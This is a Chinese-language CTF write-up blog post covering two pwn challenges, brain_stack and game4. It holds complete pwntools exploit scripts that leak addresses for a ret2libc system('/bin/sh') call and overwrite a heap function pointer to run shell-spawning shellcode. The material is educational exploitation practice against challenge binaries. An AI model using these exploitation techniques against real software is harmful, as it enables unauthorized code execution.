t3sec | pwn

Author Avatar
Aryb1n 5月 16, 2018

河南赛区的前两道题目

brain_stack

这题开了PIE, 第一反应是看怎么leak程序地址

大概就是…初始时候 tape_ptr -> tape
tape_ptr里存的是tape的地址.
这个tape里存的是随机的数字.

我们有四个功能

> tape_ptr++
< tape_ptr--
R read tape_ptr[0..3]
W write to tape_ptr[0..3]

功能很清晰了…天然的任意地址读写

由于读写指针是tape_ptr, 初始在离tape_ptr本身很近的tape处

所以如果距离比较近, 可以用>or<来一步一步把tape_ptr移过去
但如果比较远就不如先移动到tape_ptr, 通过改写tape_ptr来快速指向目的地

这题目有PIE, 但其实获得基址好像也没太大用….
因为题目本身的缘故, 只要知道偏移就OK了

大概做法就是leak出buf的地址, 由于buf的地址存在cmd, 所以读cmd就能获得buf地址, 而buf的地址距离函数返回地址偏移9 + 4, IDA里可以看到
然后更改返回地址处为p32(system) + padding + p32('/bin/sh')

#encoding: utf-8

from pwn import *
#p = remote("127.0.0.1", 11111)
#libc = ELF("./libc32")

p = process("./brain-stack")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

# context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']

now_addr = 0x0

def gd(a=''):
    gdb.attach(p, a)
    if a == '':
        raw_input()

def r4():
    p.recvuntil("> ")
    p.sendline("R")

def w4(con):
    p.recvuntil("> ")
    p.sendline("W")
    p.sendline(con)

def m_l():
    p.recvuntil("> ")
    p.sendline("<")

def m_r():
    p.recvuntil("> ")
    p.sendline(">")

def mov2(addr):
    global now_addr
    off = addr - now_addr
    now_addr = addr
    if off < 0:
        off = -off
        for i in range(off):
            m_l()
    else:
        for i in range(off):
            m_r()


tape = 0x2040
tape_ptr = 0x2038
cmd = 0x203c
got_write = 0x2024

now_addr = tape

# leak addr_of_cmd
# cmd -> buf
# mov to 0x203c
mov2(cmd)
r4()
addr_buf = u32(p.recv(8).decode('hex'))
p.success("buf: {}".format(hex(addr_buf)))
ret_addr = (addr_buf + 9 + 4)


# leak addr_of_base
# mov to 0x2038
mov2(tape_ptr)
r4()
addr_tape_ptr = u32(p.recv(8).decode('hex'))
base_addr = addr_tape_ptr - 0x2038
p.success("base: {}".format(hex(base_addr)))
#  这一步其实没啥用
#gd()

# leak write@got
mov2(got_write)
r4()
write_addr = u32(p.recv(8).decode('hex'))
libc.address = write_addr - libc.symbols['write']
system_addr = libc.symbols['system']
bin_sh_addr = list(libc.search('/bin/sh'))[0]
p.success("system  = {}".format(hex(system_addr)))
p.success("bin_sh  = {}".format(hex(bin_sh_addr)))

mov2(tape_ptr)
w4(p32(ret_addr)) # the addr want to write
# 以上两步相当于 mov2(ret_addr), 但直接mov是一步一步...发这么多可能会出问题
# 试了一下...直接mov2...这么大的for in range 会报错...算了就这样吧
w4(p32(system_addr))

for i in range(4):
    m_r()
w4(p32(0xdeadbeef))

for i in range(4):
    m_r()
w4(p32(bin_sh_addr))

# p32(system) + p32(0xdeadbeef) + p32("/bin/sh")

p.sendline("c") # trash
p.interactive()

有人到了这个东西one_gadget…但这里的构造条件, 我该怎么构造

0x3a80c    execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

这第一个条件…我就做不来, 难道还要我pop esi吗…

game4

这道题也很简单…

大概功能

1. List entries
2. Add entry
3. Edit entry
4. Remove entry
0. Exit

结构

t_entry {
    char name[32];
    char phone_number[16];
}
t_node {
    void (*cleanup)(t_node * node); // 8
    t_node *next; // 8
    t_entry entry; // 48
} // 64 -> 0x40

单链表来操作…
这个…给name拷贝的时候是char buf[256] -> char name[32]
这个…给phone拷贝的时候是char buf[256] -> char name[16]
就是堆溢出..

看怎么getshell了…
看了一下啥保护都没开, 那我们可以铺shellcode了…
新建两个node, 然后修改node1, 使得node1的phone_number溢出覆盖node2的cleanup函数指针改为我们的shellcode
删除node2即可触发

开始以为要leak出什么东西来…后来发现在输入操作中使用到的buf是放在bss上的, 只要在删除node2之前那次把shellcode写入buf就OK了

开始搞错了…以为是edit node1的时候写shellcode…
然后仔细检查了一下, 是在remove node2的时候还要输入一次要删除的编号…这个时候又要使用一次buf

所以我们在edit的时候就写入padding + p64(buf + off)
在remove的时候写入'2' + (off - 1) * ' ' + shellcode , 2是删除的编号, 空格是为了正常读入编号的padding, 所以我们的函数指针也要把这个padding加回来

这个off可以随便选…甚至可以是1…
read_int函数会从buf里sscanf一个%d, 所以要padding一下再写入我们的shellcode

from pwn import *

context.arch = 'amd64'

p = process("./ctf")

def n_n(name, number):
    p.recvuntil(": ")
    p.sendline(name)
    p.recvuntil(": ")
    p.sendline(number)

def add(name, number):
    p.sendline("2")
    n_n(name, number)

def edit(idx, name, number):
    p.sendline("3")
    p.sendline(str(idx))
    n_n(name, number)

def remove(idx):
    p.sendline("4")
    p.recvuntil(": ")
    p.sendline(str(idx))

add('a', 'c')
add('b', 'c')

buf = 0x6020e0

payload1 = 'A' * 32 + p64(buf + 8) 
edit(1, 'm', payload1)

sc = asm(shellcraft.linux.sh())
payload2  = '2' + ' ' * 7
payload2 += sc
remove(payload2)

p.interactive()